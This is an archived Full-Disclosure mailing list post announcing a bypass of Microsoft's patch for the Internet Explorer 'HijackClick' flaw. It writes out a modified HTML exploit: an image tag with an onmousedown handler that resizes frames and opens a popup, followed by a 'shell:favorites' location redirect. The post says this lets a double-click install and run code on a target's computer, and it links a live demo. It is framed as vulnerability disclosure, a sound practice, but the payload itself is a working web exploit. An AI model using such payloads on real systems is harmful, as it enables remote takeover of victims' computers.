full-disclosure - Brand New Hole: Internet Explorer: HijackClick 3

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

From: 1 at malware.com (http-equiv@...ite.com)
Subject: Brand New Hole: Internet Explorer:  HijackClick 3

Paul has posted a tantilizing demonstration to bugtraq today.  

[see: http://www.securityfocus.com/archive/1/368652]

This Internet Explorer sure provides hours of free 
entertainment. Let's install and run executable code on the 
target computers for the hell of it. Paul's beautiful demo 
tweaked as described below to do just that.

<!-- 

Microsoft just disabled those functions from
being called when the mouse button is down and called it 
patched. No more hijackclick,
right?

Wrong. 

-->

This is absolutely fantastic Paul, with a patented double-click 
of the mouse we can remotely take over the target's computer:

Just substitute as follows:

1. <img src="greyhat.html" id=anch 
onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=
2000;parent.pop.show(1,1,1,1);parent.setTimeout('showalert
()',3000);" style="width=168px;height=152px;background-image:url
('youlickit.gif');cursor:hand" title="click me!"></a>

2. location="shell:favorites\greyhat[1].htm"

Someone was querying the other day whether shell in Internet 
Explorer poses a problem [despite repeated demonstrations]. 
Pah ! Probably not.

Quick and Dirty Working Demo:

http://www.malware.com/paul.html

-- 
http://www.malware.com